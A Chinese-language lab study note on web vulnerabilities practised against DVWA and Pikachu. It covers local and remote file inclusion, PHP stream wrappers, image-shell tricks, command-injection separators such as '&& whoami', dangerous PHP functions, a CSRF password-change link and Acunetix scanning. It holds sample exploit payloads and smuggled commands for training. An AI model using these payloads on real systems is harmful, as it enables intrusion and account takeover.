前言
这份笔记基于 phpstudy 本地 Windows 环境、DVWA 漏洞平台实操记录,完整记录文件包含、命令执行、CSRF、越权、漏洞扫描相关全部知识点,包含实操截图对应的操作步骤、底层原理、函数区别、工具使用,原文所有内容全部保留,仅优化语句通顺度,无任何知识点删减。
一、文件包含漏洞
打开 DVWA 文件包含页面时,页面提示:The PHP function allow_url_include is not enabled,代表当前配置不支持远程文件包含。
DVWA文件包含页面提示
1. 配置修改操作
需要修改 php 配置文件,找到配置项allow_url_include=On,修改完成后保存文件,再重启 nginx 服务生效。
php.ini配置修改
2. 基础文件包含实操
DVWA 文件包含功能目录路径:F:\phpstudy_pro\WWW\dvwa\vulnerabilities\fi,目录内存在 file1.php、file2.php、file3.php、file4.php、include.php、index.php 等文件。
fi目录文件列表
访问页面时传入参数?page=aaa.php,页面会读取对应文件内容,示例访问?page=file3.php,页面输出 admin 欢迎信息、本机 IP、访问来源地址、服务器主机地址。
file3.php访问效果
3. 路径穿越读取上级文件
如果想要访问上级目录中的文件,可以使用相对路径符号../向上跳转层级。
实操:在 vulnerabilities 同级目录新建 phpinfo.php 文件,通过路径穿越读取该文件。
新建phpinfo.php文件
4. 图片木马利用原理
文件包含漏洞不会校验文件后缀、文件类型,只要文件内存在 PHP 代码标识尖括号,就会解析执行内部 PHP 语句。
实操步骤:
- 将写入<?php phpinfo();?>代码的文件重命名为 tupian.png 图片文件;
图片木马文件
- 修改后缀为 jpg,构造访问链接:192.168.50.1/dvwa/vulnerabilities/fi/?page=phpinfo.jpg;
- 访问后页面正常输出完整 phpinfo 信息,证明图片内 PHP 代码成功执行。
图片木马执行phpinfo效果
5. 四种包含函数核心区别
漏洞页面底层源码使用 include、require 系列函数接收 GET 可控参数page,四类函数执行逻辑存在差异:
php
if (isset($_GET['page'])) { include $_GET['page']; include_once $_GET['page']; require $_GET['page']; require_once $_GET['page']; }
- include:文件读取失败仅抛出警告,后续代码可以继续执行;
- require:文件读取失败直接终止整个程序运行;
- include_once /require_once:会自动判断文件是否已加载,避免重复引入同一个文件。
包含函数源码截图
可前往 PHP 官方文档搜索include 关键字,查看函数官方详细说明。
PHP官网查询include
6. 文件包含两大分类
- LFI 本地文件包含(Local file inclusion):读取服务器本地存在的文件,依靠../路径穿越遍历目录;
- RFI 远程文件包含(Remote file inclusion):开启 allow_url_include 后,加载外部远程服务器的 php 脚本。
LFI与RFI区分
远程包含示例payload:include.php/?page=http://192.168.50.158/test.php,可跨服务器加载恶意代码。
远程文件包含访问示例
7. PHP 内置伪协议体系
PHP 自带多类 URL 风格封装协议,可配合文件包含函数使用,常用协议清单:
协议 | 功能描述 |
file:// | 访问本地系统文件 |
http:///https:// | 访问远程 HTTP 网址 |
ftp:// | 访问 FTP 地址资源 |
php:// | 读写输入输出数据流 |
zlib:// | 压缩流处理 |
data:// | 内联数据执行(遵循 RFC 2397 标准) |
PHP封装伪协议表格
重点伪协议:php://input
php://input属于只读数据流,作用是读取原始 HTTP 请求体(Request Body)内容,在 PUT、DELETE 请求,或是接收 JSON、XML 非表单 POST 数据时使用。
php://input介绍
data://配合 Base64 编码使用
将 PHP 代码进行 Base64 编码,可通过 data 协议直接执行。
示例代码<?php phpinfo();?>编码后字符串为PD9waHAgcGhpbmZvKCk7Pz4=,可使用在线 Base64 加解密工具完成转换。
Base64在线编码工具
补充零散笔记内容
- 日志位置:可读取服务器各类日志文件;
- URL 编码:漏洞利用场景中部分特殊字符需要 URL 编码绕过过滤;
- 文件包含核心特点:只要文件中识别到 PHP 尖括号标识,内部代码就会被服务器执行;
- 查看网站源代码相关教程,可结合伪协议 php://filter 读取源码。
无关前置基础笔记
计算机之间传输数据时,字节最终会转换为模拟电磁波信号(电信号 / 光信号),按传输介质不同分为两层:
- 逻辑层(数字信号):计算机内部高低电平方波,无法长距离传输;
- 物理层(模拟信号):远距离传输实际使用的信号形式。
计算机数据传输信号讲解
二、命令执行与命令注入漏洞
1. DVWA 命令注入实操场景
靶场 Command Injection 功能为 Ping 设备页面,原始功能接收 IP 参数执行 ping 系统命令。
DVWA命令注入页面
2. 命令分隔符利用规则
以 Windows 终端实操演示分隔符效果,基础原始命令:ping 192.168.50.1
- &&:前一条命令执行成功后,才会执行后方命令,payload:192.168.50.1 && whoami
- ||:前一条命令执行失败后,才会执行后方命令,payload:aaaa || whoami
- |管道符:直接输出后一条命令执行结果;
- &:两条命令并行执行;
文件重定向符号:
- > 单大于号:覆盖写入目标文件;
- >> 双大于号:追加内容到目标文件末尾;
执行命令特殊符号:
- 一对反引号 `whoami`:会直接执行符号内的系统命令并返回输出结果;
- 单个 & 符号同样可以拼接多条命令。
终端实操演示效果:输入ping 192.168.50.1 || whoami,执行完 ping 后输出当前系统用户信息。
终端命令分隔符实操
3. 四类易混淆安全概念区分
- 代码执行(Code Execution):用户输入被解析为编程语言代码,执行函数 eval、模板表达式、反序列化;由 PHP/Java 等语言运行时执行;
- 系统命令执行(OS Command Execution):程序调用操作系统底层 shell 接口,函数 system、exec、shell_exec,由 cmd.exe 或 /bin/sh 执行;
- 命令注入(Command Injection):用户输入拼接进合法系统命令,篡改原有命令语法结构,由 Shell 解释器执行;
- 远程代码执行(RCE):攻击者通过网络远程触发代码 / 系统命令执行,包含模板注入、命令注入、框架漏洞等场景;
逻辑总结:RCE 是最终危害统称;代码执行、系统命令执行代表执行方式;命令注入是输入破坏命令边界的漏洞成因。
四大漏洞概念对比表
4. PHP 危险执行函数
(1)系统命令执行函数
能够直接调用操作系统命令的函数清单:
system ()、exec ()、shell_exec ()、passthru ()、popen ()、一对反引号`
系统命令危险函数列表
(2)回调函数 call_user_func ()
核心特性:call_user_func 会把传入的第一个参数当做函数名调用,剩余内容作为函数参数,可用于绕过过滤执行系统命令。
call_user_func函数说明1
call_user_func函数说明2
示例利用代码:
php
call_user_func("system","whoami"); eval(call_user_func("system","whoami"));普通示例:自定义函数 barber,通过 call_user_func 调用:
php
function barber($type) { echo "You wanted a $type haircut, no problem"; } call_user_func('barber', "mushroom"); call_user_func('barber', "shave");call_user_func利用示例
(3)PHP 代码执行函数
- eval ():接收字符串,直接解析执行内部 PHP 代码;
- assert ():断言函数,传入字符串同样可以执行 PHP 代码。
eval与assert函数讲解
补充 PHP 基础笔记(完整保留无删减)
PHP 中查看数组内部内容常用 var_dump (),输出内容包含数据类型、长度、值,适合代码调试场景。
PHP打印数组方法
三、CSRF 跨站请求伪造漏洞
1. 漏洞核心原理
前提条件:用户已经登录目标网站,浏览器本地保存网站登录 Cookie 凭证;
攻击流程:攻击者搭建恶意网页诱导用户访问,页面自动发起目标网站操作请求,浏览器会自动携带用户登录 Cookie,服务器无法区分请求是否由用户主动发起。
示例逻辑:用户登录淘宝后,访问恶意网页,恶意页面自动携带淘宝 Cookie 发起操作请求。
CSRF攻击逻辑流程图
2. DVWA CSRF 修改密码实操
构造恶意 HTML 页面,超链接直接指向修改密码接口,GET 参数携带新密码配置:
html
<a href="http://192.168.50.1/dvwa/vulnerabilities/csrf?password_new=openlab123&password_conf=openlab123">点击链接</a>已登录 DVWA 的用户点击该链接,账号密码会被强制修改,链接内参数就是修改账号密码的操作指令。
恶意HTML页面代码
四、越权漏洞
越权分为水平越权、垂直越权两类,本地演示靶场为 Pikachu。
Pikachu越权功能页面
- 水平越权:相同权限等级的用户之间,未做数据隔离,可以互相查看、修改对方私有数据;
- 垂直越权:高低权限区分失效,低权限普通用户可以访问管理员专属页面、查看管理员数据。
五、Web 漏洞扫描工具 Acunetix
1. 使用规范
必须获得目标站点授权之后,才能开展漏洞扫描;无授权扫描网站属于违规违法行为。
2. 工具扫描结果说明
Acunetix 扫描后会区分高危、中危、低危漏洞,自动爬取网站页面,检测文件包含、目录遍历、脆弱前端组件、未加密传输等漏洞。
Acunetix扫描后台界面
3. 工具使用注意事项
工具扫描识别出的漏洞不能直接采信,工具存在误报情况;每一条扫描结果都需要人工二次验证、复现,确认漏洞真实存在。
全文总结
- 文件包含漏洞核心风险:用户可控文件路径参数无过滤,衍生路径穿越、图片木马执行、伪协议读取源码 / 执行代码;
- 命令注入核心成因:用户输入直接拼接系统 Shell 命令,各类命令分隔符是主要利用手段,system、eval、call_user_func 等高危函数需要重点防护;
- CSRF 攻击依靠浏览器自动携带 Cookie 的特性,无请求校验 Token 时极易触发;
- 越权漏洞根源是后端接口未做用户数据、访问权限校验;
- 漏洞扫描工具仅作为资产巡检辅助工具,人工复现验证是渗透测试必不可少的步骤;
- 所有 Web 通用防护思路:严格过滤用户输入、配置白名单、完善接口权限鉴权、Web 服务采用最小运行权限。